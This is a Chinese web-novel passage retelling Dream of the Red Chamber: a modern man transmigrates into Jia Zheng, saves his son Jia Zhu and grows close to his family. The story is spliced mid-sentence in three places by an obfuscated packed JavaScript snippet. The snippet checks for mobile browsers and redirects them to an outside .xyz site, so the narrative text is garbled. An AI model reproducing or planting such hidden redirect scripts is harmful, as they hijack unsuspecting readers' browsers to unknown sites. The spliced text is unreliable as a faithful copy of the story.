《红楼贾政很正经》 1. 初到红楼贾珠病重 时值盛夏,酷暑难耐,往常热闹非凡,人来人往的荣国府却安静得很,大家都在歇午觉。 府上的二老爷贾政此时在书房内翻阅书籍,但看他愁眉不展的神情,似乎心思并不在书上。 随意翻了几下,他便烦躁地扔下书,伸手欲拿一旁的茶盏。 正在此时,书房外,跌跌撞撞跑过来一个小厮,高喊着“老爷,不好了!” 贾政手里的茶盏没拿稳,褐色的茶水浸湿了书本。 他猛地起身,瞪了一眼上气不接下气的小厮,厉声说道“做什么慌慌张张的,好好说来,出什么事了?” 这人叫旺儿,是府里二奶奶王熙凤的小厮。他见平日里宽厚的贾政竟然生气,也有点发怵,大喘了一口气,忙开口回道: “老爷,珠大爷方才在书房里晕倒了,倒下的时候头磕到了桌沿。珠大奶奶急得什么似的,幸好常太医今日来府里给老太太配药。大奶奶请了太医去瞧病。忙了有半盏茶的功夫,太医只说珠大爷气息微弱,头上的外伤倒没有大碍,但因为去年冬天就有过一次晕厥,伤了根基,这次只怕是,只怕...” “快说!常太医到底说了什么,一个字都不许漏!”贾政听了那一串话,已经是冷汗涔涔。 “常太医说珠大爷要是醒来倒好,如果一直醒不来,只怕是熬不过三日了啊!老太太,太太,珠大奶奶哭得停不下来,琏二奶奶这才命我来请老爷过去。”旺儿说完这话,已经吓得趴在地上,哆哆嗦嗦,不敢再开口。 贾政一愣,一手撑在书案上,缓了一息,才道“还不快走!” “如果我这次可以改变贾珠的命运,让他好好活下来,是不是剧情就会不一样呢?而我的命运也会不一样。”此刻的贾政,边走边思索,想要理清混乱的思绪。 事发突然,他又初到这个世界,尚没有做出什么全面的计划,就即将要面对红楼世界中形形色色的人了。 此时,贾珠和李纨的院里挤满了人,哭声虽不很高,但屋外每个人的神情都十分凝重。 在仆人通报的声音中,贾政深吸了一口气,抬脚进了屋子。 他本来想尽量表演出悲痛但稳重的表情,但当他亲眼看到了一双双含泪的眼眸时,心情自然被感染了,也感觉喉头酸涩,步履沉重。 那位头发黑白参半,气派雍容华贵而神情凝重,难掩悲意的便是贾母。大约还有邢夫人,贾琏媳妇王熙凤,还有东府的女眷在。 贾政尚来不及一一猜测她们是谁,面前就出现了一个欲要行礼的身影。这位要行礼的年轻妇人就是贾珠的妻子李纨。 贾政忙忙双手扶她,旁边李纨的贴身丫鬟也过来要扶。 “儿媳不要太过悲痛,总得打起精神,看看怎么照顾珠儿”,他顿了一下,满怀愧疚地看向已被丫鬟扶起来的李纨,又叹道“是父亲对不住珠儿,对不住你啊...” 而李纨听到这话,也只是掩面垂泪,低声说着“可兰儿还小,大爷却...”悲伤到再也说不下去话。 李纨太过悲痛,此时也顾不得礼数,丫鬟搀扶她坐了下来。 贾政面前又走过来一个衣着华丽,气度不凡的年轻女子说道“二老爷切莫着急,常太医说珠大哥已经服了参汤,两个时辰内应该就醒的。”边说,边端了盏茶送到贾政手边。这人便是一万个男人也比不上的英雄,王熙凤。 贾政接过茶,点头示意了一下,并没有喝。 贾珠之死在书中并没有正面描写,只是旁人提过几句。但若他真的死了,那么更说明剧情的不可改变。 曾经的荣府二老爷贾政自己一辈子想要有所改变,却终究无能为力,最后亲眼看到大厦倾颓。 难道我来到这个世界的任务,便是挽救这个家族,改变结局吗? 贾政略微定了心神。 旁边贾母听到儿子过来先宽慰媳妇,还说了软话,她倒也没有当着这么多人的面再来指责儿子。 她心里也清楚,贾珠现在这样,一来是因为贾政见他有天赋,便强逼他勤奋进学。二来也是因为贾珠太要强,年纪又轻,卯足了劲去考学,却不顾自己的身体,不知道爱惜养生。 也许这都是命运,命里贾家就没有能走科举这条路的后代。她也拿了手帕掩面,重重叹了口气。 贾母又吩咐丫鬟“好生伺候着珠儿媳妇,一个已经躺着了,再不能让她也倒下了。” 一旁的贾政缓步走到了贾珠床边。贾珠约二十岁,面色苍白,汗浸湿了额发。本该也是一个俊俏风流的少年,却为了父亲和家族的期待,把自己折磨成了这样。贾政抚额,微微叹口气。 贾珠床边坐着一位背对着贾政的中年妇人,衣着素雅,姿态端庄。贾政想,这肯定就是贾珠的母亲,自己现在的妻子王夫人了。听到贾政过来,她只略回头看了贾政一眼,低声叫了一句“老爷”,又低头为儿子擦汗。 视线碰撞中,他看到她的面容又悲又痛,眼神哀婉又空洞。 这一眼是一个母亲无言的控诉,霎时让贾政嗓子干涩,心越发沉重,说不出话。 那是她满含期盼的长子,被自己的丈夫强逼到快要丢了命,而自己却不能有一个字的怨言。 贾政此时很是同情这个快要失去儿子的妇人。他一手轻轻搭在王夫人肩上,涩声说道“夫人,是我错了,以后珠儿好起来了,我,再也不逼他考学了,你,怨我吧。”一句话中,满是对夫人,对儿媳,对母亲的愧疚。 王夫人回头,眼中忍不住的泪光闪烁,颤声说道“老爷何须如此,这就是珠儿的命,是我给了他这副不健壮的身子!他命里身体孱弱,却强行日夜苦读,只是他怎么舍得下父母妻儿,就这么昏睡不醒呢!”一句话又引来李纨等人的呜咽声。 贾政默默想到:也许此时的伤情不只是原身贾政的,还有我的悲伤。虽然我还没有怎么与他们相处过,但亲眼看到曹公笔下一个个鲜活的人物,经历了他们的生活,感受到他们此时的悲痛,我与他们感同身受。 这时贾政身后传来了一道女孩的声音“老爷和太太不要难过,珠大哥哥的病肯定是有法子治的。”她边说,边拿了手帕为王夫人擦眼泪,另一只手同时握着王夫人的手。看着年纪不过十来岁,却已经很是沉稳,懂得照顾长辈的情绪。 贾政看这个女孩虽然脸上也有泪痕,但神情却很坚毅。这应该就是探春三姑娘了,小小年纪就能看出日后品格。 只是宝玉呢?怎么没来?也许是年纪太小,贾母怕来这边受了刺激吧,他想到。 不待再想宝玉的事情,贾政要先稳住这一屋子的亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947700|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,再想办法怎么治好贾珠。 他一手牵起探春的小手,一手轻轻摩挲着王夫人的左肩,想给妻女些力量。 “探春说的对,夫人莫要太伤心,会有办法的。”他柔声说道。 “我们一起撑下去,我加入你们,改变你们的命运,也改变我自己。”这句话他只是心内默念,没有说出来。此刻他坚定了那个决心:我来到这里,一定要做些什么,哪怕最后是一个梦,也足以证明我的存在。 放下那些复杂的情绪,贾政打起精神,走到外间,与正在写药方的常太医说起话来“太医,你看我儿的病,还有的治吗?” 这个问题常太医那会儿已经回答过贾母一众了。 他又斟酌了一下,向贾政说道“政老爷,珠大爷的病不是一时的,是他自小一直有的。也许是胎里带的,也许是从小没有好好保养,太过劳累。要是一直用名贵药材保养着,性命也可无虞。但万不可劳神劳身。去年突然晕厥那回我就为他诊治过,说过这个事情,只是他自己心里憋着一口气,和自己较劲,但身体却撑不住,去年到现在也没好生保养,再犯是迟早的事。” 常太医顿了顿,犹豫了一下,不知道接下来的话该不该说。贾政看出他的犹豫,柔和了语气,温言说道“太医有什么尽管说来,无碍的。” 常太医闻言,便一口气说“珠大爷已经服过参汤,再过会儿应该可以醒来了。我想他不到一年,两次犯病,还是因为肝气郁结,长期保养不当。如果这次可以与他说通,让他放下执念,日后也没什么大碍,好生养着就行,只是,科举读书怕是不行了。” 贾政听罢,又想到:常太医在贾母面前说的和对我说的,却不是一回事。之前对贾母她们说的很严重,也许是知道贾珠的心结在我。只有我才能解开。而老太太以为情况危急,也许先会开解我,让我不再难为贾珠。那么,这个问题也就可以解决了。不愧是太医,说话考虑的也太周到齐全了。 想到此,贾珠拱拱手,又道“常太医,小儿若这次好了,日后的保养之法也多靠您了,贾政在此先行谢过。” 常太医见此情况,也知晓贾政想通了关节所在,很是欣慰。随后留下方子,说宫中有事,先行告辞了,并让贾政代自己与老太太辞别,他就不进去了。 贾政送走了常太医,又叫来一个小丫鬟问了一下贾珠晕倒的具体经过,见和方才小厮所说的并无不同,也就再没问什么。 贾政在外间桌旁稍微坐了一会儿,想要认真理清思路。 现在的首要任务是治好贾珠,如今也是他的长子。贾珠此人聪慧沉稳,比起贾宝玉来说,贾珠更适合做这样大家族的接班人。 贾家如今处在家族末世,子弟们也都比不上繁盛时期的素质,只有一个贾珠比较出挑,可惜却早早亡故了。想必原著中王夫人吃斋念佛也是出于这个原因。 宁府的几个男丁都不中用。贾敬虽考中进士却修道去了,将族长之位传给了儿子贾珍。贾珍却和贾赦差不多,心思只在吃喝玩乐上,丝毫不想着仕途进取。 荣府大房贾赦那边只有一个贾琏,如今帮着料理外面的事,算得上能干,如今也由他支撑起门户。 贾政刚想到这里,就听到里间屋子传来声音“老太太,太太,珠大爷醒来了!” 2. 细心观察贾政规划 听到这话,贾政心里的担忧先落了地。 醒来就有办法好转,哪怕落了病根,贾府这种人家,一应药材还是供得起的,日后也不多这么一个富贵闲人。现在能多保住一个有用的,就不会像日后那样人丁凋零。 贾政舒了口气,稳住心神,掀起帘子,又进了里屋。 此时,贾珠床前,王夫人为他擦汗,李纨拿了药碗一口口喂着他喝。还有王熙凤,贾珍夫人尤氏和一些女眷都在旁边与贾母说着吉祥话。 “我就说珠大哥是个福大命大的,这不,参汤喝了一会儿就醒来了。老太太这下可以把心放到肚子里了。”王熙凤轻晃着贾母手臂,笑着说道。 贾母只是笑着环住她,又说“你这个凤丫头啊!”食指还在王熙凤额头点了一下。 “是呢,太太平日里吃斋念佛,为珠大爷念的那些佛经,都应验了呢。”说这话的是周瑞媳妇,王夫人的陪房。 王夫人听到这话倒是轻笑了下,仍低声对贾珠说着话。 贾政又走到贾珠床前,见他虽醒过来,精神却不好,喝药也很为难。 贾政握住贾珠的手,略使劲攥了攥,看他吃力想起身,便抬手制止了他,对他说道“珠儿醒来了就好好养着,莫再想一点读书的事情。父亲知道你的志向,一切等你好起来了再商议。你想过没有,不顾性命的读书,你倒是一个人走了,留下妻儿,我和你母亲,还有祖母,要怎么办呢?” 贾珠听到此话,再也忍不住泪水,这是他第一次在父母和妻子面前流泪。“父亲,儿子知道了,之前,是儿子执念太深了。”贾珠说罢,摸索着握住李纨的手,满眼悔恨和酸涩。李纨也是悲喜交织,仍未从刚才的惊吓中回过神来。 看到这一番场景,贾政想到了常太医的话,只要醒过来了,便有救。只是这心结如何解,却不适合在今天继续谈。应当等贾珠身体健好了,再与他详谈一次。 “珠大哥哥醒来了要好好养病呢,探春以后日日来看大哥和嫂子,只能卧床养病,那些书可不许再看了!。”探春年纪虽小,但说的话却周到,看得出她与贾珠兄妹关系亲密,也实在知道贾珠生病的症结,还不忘提醒他。 “探丫头年纪小,还真会体贴人呢”王熙凤笑赞道。 “只是咱们这一大群人待在这里,又吵闹,珠大哥也不得清净。还是散了吧,再去老太太屋里热闹一会子,让珠大哥好生养着。”王熙凤说罢,贾母也赞同,就准备起身。一群人也都附和着,与王夫人,李纨,贾珠说了些宽慰的话,也都各自走了。 一会儿,屋内只有贾政夫妇,贾珠夫妇,探春和几个下人了。 贾政没有离开,但觉得自己待在这里也有些局促,他们母子也不放松,于是他牵了探春的手出来,与她一起坐到了外间榻上。 探春坐在贾政身旁,略显紧张。她虽有些饿,也不太敢拿了点心吃。贾政看她一副乖巧拘谨的样子,想必她素来与父亲接触不多,平日里也只是尊重着,想亲近又不敢太亲近。 探春是姨娘生的,从小在太太身边养着,具备了世家大族小姐的端庄气派。但对于这个平时不苟言笑的父亲,她虽则满是孺慕亲近之意,也有几分畏惧之情。 贾政想了想,书中写贾家的悲剧收场主要问题就在于后继无人,结交外官,以及浮华过甚,惹怒了皇帝。 那么如何教育好下一代就成了现在的重要任务 。这些富贵人家的儿女们年纪都还小,现在好好管教,以后也会有很大改观。起码要让他们知道些人间疾苦,有自立自强的意识。想到此,贾政坚定了要掰正下一代的信念,就先从这些小的开始。 “探春可识得字?”贾政摸了下探春的小脑袋,温和问道。 “老爷,我平日里和姐妹们一起上学,也认了几个字。”探春乖巧回道。 贾政看探春说话有条有理,想必不只是认识几个字这么简单。先前的贾政那么重视长子的读书进展,对其他子女想必也有督促,最起码,也都早早开蒙。小探春看贾政这么喜欢读书人,肯定自己私下里也学了不少。 贾政鼓励道“虽然女儿家读书识字不能去考功名,但多读些书,学些为人处事的道理,也是好的。” 探春点头回道“老爷说的是,女孩子也应该多读些书,学些道理。” 这边贾政又问了探春一些生活上的事情,才知道除了探春,还有迎春和惜春也养在王夫人跟前。她们三个住在王夫人院后的抱厦中。 迎春年纪比宝玉和探春大一些,自小没了母亲,王夫人就接了过来养。惜春年纪最小,亲身父亲又出家了,也就养在王夫人处,和两个姐姐一起长大。 王夫人的长女元春前两年进了宫做女官,还有一个亲生的小儿子宝玉却养在贾母那里。 这么想,王夫人体贴迎春探春惜春三个孩子,不仅是当家夫人的责任使然,还有一种补偿的心理。她自己的三个孩子,一个大的,已经娶妻生子,一个进了宫,见不上几次,一个小的,自己也不能常常管教。 看来,王夫人对待小辈还是很关爱的。贾政对王夫人的印象更好了一些。 夫妻一体,若能把王夫人的性格也稍微变变,让她不要对宝玉那么偏执管教,府里之后发生的一些悲剧也可以避免。 他又随便问了一些,探春都一一回答地很谨慎周全。父女俩这次说话的时间倒比以前所有时间加起来还要多了。 探春小口吃着贾政递给他的一块玫瑰枣泥糕,心里想,今天的老爷好像格外疼她呢。 父女俩正说着话,门帘一动,王夫人亲自出来了。 “夫人,珠儿怎么样了?”贾政见王夫人面容和缓,便开口问了。 “刚服了药,汤也用了些,现在睡下了,有珠儿媳妇和丫头婆子们在旁边伺候着。”王夫人坐在了贾政对面,拿了一盏茶,轻抿了一口。 “夫人今日受了惊吓,一悲一喜之间,怕精神也不济,不如先回院里歇着,等晚些了,咱们再来看珠儿。常太医方才与我说时,对珠儿的病情很有把握,夫人也放心吧。” 王夫人听了贾政的温言宽慰,心里也很受用。何况她本就不是言语泼辣的人,往日与贾政相处时也多是相敬如宾的。 她又想到大儿子性命总算是保住了,一时心内熨贴,面色也就更好几分。 “我倒不觉得太累,只是老爷要不先回院儿里或者书房,这里病气也重,也怕下人们只顾着里面,伺候不好老爷。”王夫人又劝贾政。 “也好,夫人,那我们就一起回院里,总之晚间还要过来的。我看探春也有些乏了,回去你们娘儿两个歇了中觉,保养精神才好。”贾政说完就起了身。 王夫人看探春确实强打精神,本也有回去歇一会儿的想法,便不再坚持。王夫人叫来探春的奶妈牵着探春,她跟在贾政旁边,也就一起回了院子。 一路上,二人又说了些李纨和贾兰的情况,随后各自歇了中觉。 这边书房里,贾政随便睡了一会儿,也没有睡熟,还是不禁想着贾府这些人和事。 如果要改变贾府这帮人的命运,那么首先要保证贾府后继有人,最起码有人在朝可以做些实事,让皇帝多些好感。 其次就是家风的问题。宁府那边他暂时管不上,大哥贾赦他还没见,书里说他也是个行事荒唐,只顾享受的。 那么就只能先从二房自己这边先试着看。今天只简单一看,就感觉荣府很是张扬,仆人们又多,个个都很有几分气派,都是拿钱养出来的。 只是荣府要有所变革的话,贾母怕是不会那么容易答应。享受了一辈子排场的老封君,不一定能想到繁华背后的隐患。 还有官场上的事情,自己虽只是工部员外郎,官职不高,但总有些为皇帝办事的机会,若能在这方面筹划,也是一大进展。 贾政思来想去,突然发现,荣国府这么多子弟,怎么竟然只剩他一个可以有所筹划的了?好像其他子弟在仕途上都没什么希望啊!要不说是人才凋零呢。 睡不下去了,他想着起来走走。 “老爷,今日的晚饭摆在哪里?”贾政的小厮书文见贾政醒了,脸色不太好,连忙上来服侍。 贾政还很不适应被这样伺候,便接过了小厮洗好的帕子,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947701|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦脸。 “夫人那边吃过了吗?”贾政问。 “方才正是太太打发人来让我问老爷的,太太那边还没有摆饭。” “那么,今晚就在那边吃吧。”贾政想着应当与妻女多亲近些。 王夫人自己起居的屋子乍一看并不很华丽,但其实是低调中可见奢华。真正的富贵人家不会像暴发户那样什么东西都用新的。 屋里还有一尊很金贵的佛像,还有几幅挂画,清淡雅致,像是以前贾政喜欢的风格。 贾政进了屋,王夫人和探春都站起身,旁边已有一众丫鬟们等着伺候。王夫人从丫鬟手中拿了一方湿手巾,又递给贾政。贾政擦了手,就坐在了炕桌东边。王夫人和探春便坐在西边下首。 丫鬟们刚把菜摆好,贾政粗略一看,有八菜两汤四盘点心。菜色都很精致,一看就是善吃的富贵人家。 贾政微微叹气,一顿普通的晚饭就这么复杂精细,不愧是古代的豪门大族啊,他在生产力远超现在的时代都吃不上这些东西。 “夫人,你操劳一天了,又受了惊吓,就算没胃口,也多少吃一点。”说着,贾政夹了一个蟹粉肉圆给王夫人。 “探春也多吃点,正是长身体的时候。”又给探春也夹了一筷。 贾政平日里总是严肃古板的,他难得对妻女这么亲和,王夫人也很高兴,夹起吃了。又给贾政和探春各盛了一碗蒲菜排骨汤。 “老太太那边用饭你不用过去吗?”贾政又问。 他知道古时的规矩是,媳妇要在婆婆前代替丈夫尽孝。因此王夫人作为媳妇,大部分时间都要陪在贾母那里。虽然不用干什么活,但也要为老人家解闷逗乐,神情紧绷,想必也很辛苦。 “方才老太太那边打发了人过来,说是这两天让我和珠儿媳妇好好照顾珠儿,不用去她那边。”王夫人放下筷子说道,“老太太还说,宝玉昨儿有点中暑,珠儿那边先不要叫宝玉过去,免得两个的病都好不了。” 王夫人说完这句,小心观察着贾政的神情。她知道贾政一向教导子女要兄友弟恭,和睦相处。因此今日宝玉没来,王夫人有些担心贾政会因此不快。 “不妨事,宝玉还小,老太太也疼他。他在那边日日承欢膝下,让老太太开心,也是咱们做子女的一份孝心。只是平时也要让他多与兄弟姐妹相处,从小要明白孝悌之道。”贾政说道。 一旁的探春见老爷太太在说话,她就一直低头乖乖吃饭,没有表现出听他们说话的样子。 “只是今日探春让我很惊讶。”贾政往探春碗里盛了一勺虾仁蛋羹,摸摸她头。见探春神情紧张的等待他的后半句话,于是慢慢说道“探春好像突然长大了,行事像个小大人,还会安慰母亲了,真是让我欣慰啊!” 探春第一次被老爷夸,很是开心,且今日老爷对她一直和颜悦色,真像是平常人家的父母女儿。 “女儿平日跟着太太在老太太前尽孝,看太太服侍老太太尽心尽力,唯恐有不周到的地方,还有大嫂子,二嫂子对我们这些弟妹都慈爱关怀,就想着女儿以后也要像这样,既要孝顺体贴长辈,又要与兄弟姐妹关怀友爱,才是做女儿的本分。”探春说得认真,透出一点不合她年龄的成熟。童声清脆,神情坚定,真真惹人怜爱。 “探春说得真好,夫人平日里把孩子们都教得很好。”贾政一句话把母女俩都夸了。他也的确很高兴,目前的王夫人还是能教育好子女的母亲,女儿探春也长得很好,日后也是个能成事的,贾珠也保住了,前景还是很光明的。 一旁的王夫人看探春引得贾政开心,她心里也松快不少,便也笑着给探春夹了一只翡翠烧麦,让她多吃点。 饭罢,有丫鬟端来茶水。贾政看王夫人和探春都拿来漱口,也有样学样,适应着贾府的规矩。 “夫人,咱们去珠儿那里再看看吧,正好也可以消消食。”贾政知道即使他不说,王夫人也要去,不如一家三口一起过去。总是要慢慢培养感情的,家庭和谐很重要,让孩子们在有爱的家庭中成长,能避免很多心理问题。 王夫人应了,探春也说要去,便一起去了。 3. 手足情深宝玉探病 天刚擦黑,贾府各处的灯笼烛火已经亮起。正是晚饭前后,下人们来来往往的,游廊下及各处院门都站着丫鬟小厮们,垂手侍立。 贾政前面有两个丫鬟打着灯笼,王夫人和探春走在他身后,后面跟了几个丫鬟打着灯笼。一行人刚走到贾珠的院子,就有人进去通报。 贾珠的院子不大,在贾政与贾母的院子之间,离贾琏王熙凤的院子很近。 院子西墙下摆了一溜儿花盆,花草葳蕤。又架了几根竹竿搭成架子,爬满了凌霄花的绿色藤蔓。晚风送来浓郁的花香,朦胧的灯光下,李纨走到门口,迎了贾政三人进屋。 “大爷晚上吃过药了,参汤也用了,方才还喝了小半碗素粥。”李纨走在后面,说着贾珠的情况。 “能吃下东西就好,吃得多,也好得快。”贾政说道。 王夫人没说什么,她径直走到贾珠床边,见他脸上比白日里多了几分血色,呼吸也很平稳,王夫人的心安定了许多。她坐到贾珠床旁的凳子上,问李纨“兰儿还好吗?” 李纨站在床边,轻声回答道“奶娘说他今日很乖,没有哭闹,刚才我去看的时候已经睡了。” 王夫人闻言满意地点点头“这两日你辛苦些,吩咐丫鬟婆子们都上点心,好好照顾兰儿。珠儿这边我每天也会过来与你一同看着的。等珠儿好起来了,咱们也能安心。” 李纨恭敬的答应下来。 一旁的贾政看这边婆媳和谐,贾珠病情好转,就安心坐在炕桌边悠悠喝着茶。上好的白毫银针,不喝可惜了。 忽然,院子里传来一声闷响,贾政在窗边,听得清楚。 他偏头看了眼丫鬟,那丫鬟也识眼色,忙说“可能是底下人不小心跌跤了,奴婢出去看看。” 贾政点头,示意她出去看看,不要惊扰了贾珠。 那丫鬟一出去,模糊看到墙根下一个小孩儿蹲在那里,一只手揉着膝。走近一看,不觉惊呼“宝二爷,您怎么在这儿?摔到哪里了?快让奴婢看看!” 一时间,院子里几个听到宝玉摔了的下人们都去扶他进屋子,宝玉刚才跑得急,摔到了膝盖,疼得很,又不敢大叫,只能闷闷地抽泣。 宝玉被两个丫鬟一左一右扶了进来。王夫人和李纨早已上前查看宝玉的伤势,而贾政没有开口,只是静静看着。 因为摔了一跤,宝玉的头发和衣服都有些凌乱,还沾了一些土。他如今年纪不大,仍是一团孩气,但已经有了备受娇宠的大家公子的气度,一双眼睛清澈又明亮。身量还小,但看起来可爱又喜庆,果然是老太太的掌上明珠。 宝玉平日备受长辈们宠爱,养了几分娇脾气,但很怕贾政。世家大族的子弟最重视礼仪,宝玉一进来瞥见贾政在旁边坐着,只好忍着疼先向贾政和王夫人李纨请了安,不敢说自己是怎么过来的,也不敢表现出痛苦的神情。 王夫人见儿子满头是汗,想来是腿上有伤,急忙说道“宝玉,快和老爷说说你这是怎么回事,怎么晚上出门也没个丫鬟跟着,害得你跌了跤。让我看看腿上怎么样了?” 宝玉撩起衣摆,膝上青了一块,倒没有流血,王夫人舒口气,叫了旁边的丫鬟拿消肿的药贴来给宝玉敷上。 宝玉想了想,看了眼贾政,小声开了口“儿子昨日中了暑气,老太太心疼我不让我出门。只是今日听说大哥哥病了,老太太和老爷太太都去看了,应当很严重,就想过来探望。只是大夫说我还没有好利索,老太太不想让我下床。但我实在想过来看看大哥哥,就避开丫鬟,自己偷偷溜了出来···” “惊扰了老爷太太大哥哥大嫂子,是儿子的不是。”宝玉低了头,很是过意不去。 贾政听着宝玉虽然表情略微惶恐,想来是怕他责罚,但一段话说得调理通顺,也很满意。他轻轻拍了宝玉的肩膀,说道“宝玉小小年纪就知道关心兄长,我高兴还来不及,怎么会怪罪你呢?只是你偷跑出来,一会儿老太太找不到你又要着急了。” 王夫人听了,忙派人去老太太的院子传话,说宝玉在这边院子。 宝玉听贾政如此说,更懊恼了,“儿子没想到会让老太太担心,以后不会这样了。” “以后做事情,虽然是出于好心,但也要注意方法,有时候你的想法很好,但选错了方法,反而会得到不好的结果。”贾政仍是温言鼓励,宝玉见贾政的表情和缓,也不再惴惴不安,回道“儿子知道了。” “二哥哥,大哥哥的病好多了,你不用担心。你昨日中了暑,今日又跌了跤,老太太肯定要让你卧床几天了。”探春见二人气氛不再紧张,她适时的开了口,调笑宝玉。 “那三妹妹每日来给我读故事玩,岂不更有意思?”宝玉不甘示弱,看向探春。 “那么,我明日先给二哥哥读一个负荆请罪的故事,怎么样?”探春睁着大眼睛,一脸无辜地笑着看宝玉。 “这还用你讲吗?我早就读过了···”话还没说完,就意识到探春又在取笑自己,宝玉的鼻子皱了一下,无奈的哼了一声。 “哈哈哈,这两个孩子,斗起嘴来可真有意思。”贾政抚须大笑,把宝玉和探春拉到自己身旁坐下。一时间屋里气氛融洽多了。 “等我好了,也给宝玉读故事听。”床上的贾珠出了声,他边说话边轻声咳嗽,一旁的李纨忙拿手帕给他擦了擦嘴角。 “宝玉探春,你们俩把大哥哥吵醒了,快去看看怎么赔罪呢?我看呐,不如你们一个喂药,一个擦汗好些,也能让你们母亲和大嫂子松快点。”贾政又故意逗他们。 探春和宝玉说做就做,果然一左一右服侍起了贾珠。宝玉端药碗,探春拿帕子,两个孩子均是一脸严肃。他们照顾病人的滑稽样子,一时逗得屋里的大人们都笑了。 贾珠忍不住笑,轻轻咳嗽起来,没法吃药,连忙挥着手,“弟弟妹妹歇着吧,我这里不用你们服侍了。”劝退了殷勤的弟弟妹妹,又躺下了。 “大哥哥你要早点好起来,我还想你带我去灯市街逛呢。”宝玉满脸期待地对贾珠说道,还拉着探春的手“把三妹妹也带着,咱们一起去,去看花灯。” 贾珠见弟弟妹妹乖巧又期待的神情,满含笑意地点了头,他的眼眶不自觉有些湿润。他看着一屋子血缘至亲,其乐融融,心里暗想:若是今日有了差错,一口气没上来,岂不是再也没有这样的美满团圆了吗?心里又是一阵后悔。 一边的王夫人感觉贾政今日很是不寻常,难得对珠儿说软话,难得关怀探春,又难得纵容宝玉。也许是因为今日珠儿病重的事情使他受了刺激,对子女们都纵容些了,这样也好,孩子们都平平安安,承欢膝下,王夫人就很高兴了。 这边屋里欢声笑语,气氛和谐,老太太的丫鬟鸳鸯一进院子就听到了。 鸳鸯进屋后先行了礼,随后传了老太太的话“老太太知道宝二爷在这边就放心了,老太太还让我问珠大爷安。看珠大爷这边缺什么药材,要是她那边有的就直接去取。另外让宝二爷早点回去,他的暑热还没好,别把病气带到了这边。” 鸳鸯说完,宝玉先急着说“鸳鸯姐姐,我就回去了,看大哥哥这边没事我就回去向老太太请罪了,方才我不应该乱跑害得老太太担心。” 宝玉话没说完,就看到探春向他比着口型“负荆请罪”,他不好意思的脸更红了。 “鸳鸯,你带宝玉回去吧。时辰也不早了,让他回去早点休息。我们就不去老太太那里了,明早再去请安。”王夫人起身说道。 贾政闻言,也起身对贾珠说“父亲明日再过来,珠儿好好养病,别再忧虑。” 他对宝玉又说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947702|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“回去代父亲和母亲问老太太的安,你也要好好向老太太请罪,以后不许再这么胡闹吓老太太了。”宝玉乖巧的应下了。 随后一行人各自散了。 回到院里,贾政在书房睡了,心情舒畅,一夜好眠。 次日清晨,洗漱完,贾政陪同王夫人,带着迎春探春惜春三姐妹一同去给贾母请安。 一行人到时,贾母坐在炕上,正在净面,他们就先在外间等着。不一会儿,邢夫人,王熙凤也来了,互相问候过,一众丫鬟们开始准备早饭,桌椅碗筷一并摆好,分了两桌。 只贾政与宝玉两个男丁。贾母就让贾政宝玉与她一桌吃了。因为贾政在,贾母就没放邢夫人王夫人和王熙凤在旁边伺候,让她们都坐着一起用饭。 女眷们问候着贾母昨日睡得如何,胃口如何之类的话。贾政只是静静听着,没有插话,他在想着一会儿怎么试探贾母对于改变贾家风气和预防危机的看法。 王熙凤最善于察言观色,也因此她总能逗得贾母开怀大笑。宝玉和探春更不必说,哄得老太太眉开眼笑。邢王两位夫人不怎么开口,只偶尔说一两句奉承贾母。 二姑娘迎春很是腼腆,也不说话,只是跟着大家一起笑笑。贾政看到王夫人还不时为迎春夹菜吃,探春也与她说话。邢夫人对迎春却表情淡淡,不太亲密。惜春年纪还小,看着也挺乖巧可爱。 饭罢,邢夫人王熙凤先告了辞。王夫人见贾政仍坐着,就也没有说话,一起坐着。屋里就剩了二房这边的。 贾政见贾母吃完又坐在榻上,便起身对贾母说“母亲,早晨天还不热,不如儿子扶您去园子里转一转,活动活动筋骨,也看些草木花鸟,松快一会儿。” 贾母一生只有二子一女,她向来偏疼二房。二子贾政,孝顺谦恭,仕途上进,还总是能承欢膝下,自小就得她喜爱。夫人子女也是个个让她疼爱。 对比下来,长子贾赦那边就常让她不满意。大儿子从小就是个浪荡公子,也不上进,也不怎么孝顺父母,越大行事越荒唐。袭了爵位后更是耽于酒色,庸庸碌碌。大儿子的续弦夫人也很是小家子气,让她看不上眼。 大房那边唯独孙辈贾琏王熙凤夫妇活泼富贵又招人疼。贾母想着,对琏儿和他媳妇多疼些,大儿子那边也能平衡一点。 除此之外,她也很是疼爱独女贾敏。可惜贾敏命里福薄,嫁到苏州林家十来年,只得了一个幼女名唤黛玉,听说很是玉雪可爱。 